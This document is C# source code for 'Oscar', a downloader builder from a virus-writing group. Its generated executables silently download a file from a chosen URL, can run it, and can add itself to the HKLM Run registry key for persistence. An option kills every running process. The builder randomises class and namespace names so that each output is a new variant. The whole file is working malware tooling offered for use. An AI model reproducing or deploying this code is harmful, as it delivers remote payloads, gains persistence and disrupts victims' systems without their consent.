/******************************************************************************** * C# - MSIL.Oscar * >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> * by free0n * vx13d.net | DooMRiderZ www.doomriderz.com * ############################################################################## * ++OSCAR++ * Oscar is a simple program that will generate a executable based on the options * during runtime. What does this mean? basically we can generate exe files with * out you having to do more than click a button! This is something I'm still * learning and in the process I made this downloader. What is a downloader? * Well say you have a file you want someone to download but it's to big. So * what you do is you run oscar which is very small in size. Point oscar to the * the file you want downloaded and then give the exe that it generates to * someone once the exe is generated and ran it will download the specified * file. It's a pretty easy concept to grasp. * Greeetz to all dr members and previous ones * >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> *******************************************************************************/ /************************************************************ * Start of Oscar.cs * >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ************************************************************/ using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Threading; using System.CodeDom; using System.CodeDom.Compiler; using Microsoft.CSharp; using System.IO; namespace Oscar { public partial class Form1 : Form { private string url = ""; private string file = ""; private string dest = ""; private bool blnCopy = false; private bool blnExecute = false; private bool blnReboot = false; private bool blnStartup = false; public Form1() { InitializeComponent(); } private void button2_Click(object sender, EventArgs e) { if (txtUrl.Text != "") { //lame url validation. I didn't really care to much just but hopefully it gets the point across if (txtUrl.Text.IndexOf("/") != -1 || txtUrl.Text.IndexOf("\\") != -1 || txtUrl.Text.IndexOf("http:") != -1) { url = txtUrl.Text.Replace("\\", "/"); file = url.Substring(url.LastIndexOf("/"), url.Length - url.LastIndexOf("/")).Replace("/", ""); } else { MessageBox.Show("You must enter a url starting with http", "Oscar - Error", MessageBoxButtons.OK); return; } } else { MessageBox.Show("You need to enter a url", "Oscar - Error", MessageBoxButtons.OK); return; } //if save path is left blank it will download to where the main downloader application is //this might just be all it needs to do... if (txtSavePath.Text != "") { dest = txtSavePath.Text; blnCopy = true; } if (chkExecute.Checked) { blnExecute = true; } if (chkRestart.Checked) { blnReboot = true; } if (chkStartup.Checked) { blnStartup = true; } BuildDownloader(url, file, dest, blnCopy, blnExecute, blnReboot, blnStartup); } //This method does all our hard work //using ICodeCompiler and CompilerParameters //we can generate an executable at runtime //the code you'll see is stored in a regular string //variable. Since the downloader is in a string we can easily change variable //names and their values and where they get positioned. You have full control on //how to create a new varient of the program. private void BuildDownloader(string url, string file, string dest, bool copy, bool exec, bool reboot, bool startup) { string name = file + "-downloader.exe"; ICodeCompiler ic = new CSharpCodeProvider().CreateCompiler(); CompilerParameters cp = new CompilerParameters(); cp.ReferencedAssemblies.Add("System.dll"); cp.ReferencedAssemblies.Add("System.Windows.Forms.dll"); cp.GenerateExecutable = true; cp.CompilerOptions = "/target:winexe"; cp.OutputAssembly = name; Random r = new Random(); string n = Rand() + r.Next(100); string n2 = Rand() + r.Next(200); string r2 = Rand() + r.Next(20); string d = "using System; \n" + "using System.Collections.Generic; \n" + "using System.Windows.Forms; \n" + "using System.Text; \n" + "using System.Net; \n" + "using System.Diagnostics; \n" + "using System.IO; \n" + "using Microsoft.Win32; \n" + "namespace " + n + " { \n" + " class " + n + n2 + ": Form { \n" + " static string url = @\"" + url + "\"; \n" + " static string file = @\"" + file + "\"; \n" + " static string dest = @\"" + dest + file + "\"; \n" + " static bool blnCopy = " + copy.ToString().ToLower() + "; \n" + " static bool blnExecute = " + exec.ToString().ToLower() + "; \n" + " static bool blnReboot = " + reboot.ToString().ToLower() + "; \n" + " static bool blnStartup = " + startup.ToString().ToLower() + "; \n" + " static void Main(string[] args) { \n" + " try { \n" + " if(File.Exists(file)) { \n" + " File.Delete(file); \n" + " } \n" + " WebClient wc = new WebClient(); \n" + " wc.DownloadFile(url, file); \n" + " if(blnCopy) { \n" + " File.Copy(file, dest, true); \n" + " File.Delete(file); \n" + " } \n " + " if(blnExecute) { \n" + " Process pr = new Process(); \n" + " pr.StartInfo.FileName = dest; \n" + " pr.Start(); \n" + " } \n" + " if(blnStartup) { \n" + " string rK = @\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\\"; \n" + " string rS = (string)Registry.GetValue(rK, file, file); \n" + " if(rS == file) { \n" + " Registry.SetValue(rK, file, dest); \n" + " } \n" + " } \n" + " if(blnReboot) { \n" + " try { \n" + " Process[] procs = Process.GetProcesses(); \n" + " for(int i =0; i < procs.Length; i++) { \n" + " procs[i].Kill(); \n" + " } \n" + " } catch (Exception err) { } \n" + " } \n" + " } catch (Exception er) {} \n" + " } \n" + " } \n" + "} \n"; //CompilerResults will also let you return any errors //I just don't have it in the code here because the code above //is perfect and won't break so their isn't a need for it.. CompilerResults results = ic.CompileAssemblyFromSource(cp, d); //create the msgbox that the file has been created. if (File.Exists(name)) { MessageBox.Show("Downloader Created! - " + name); } } private void button1_Click(object sender, EventArgs e) { Application.Exit(); } private void btnClipboard_Click(object sender, EventArgs e) { //grab text from the clipboard IDataObject iData = Clipboard.GetDataObject(); if (iData.GetDataPresent(DataFormats.Text)) { txtUrl.Text = (String)iData.GetData(DataFormats.Text); } } public string Rand() { //generator of random words! string c = "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ"; Random r = new Random(); string n = ""; for (int i = 0; i < r.Next(100); i++) { n += c[r.Next(c.Length)]; } return n; } } }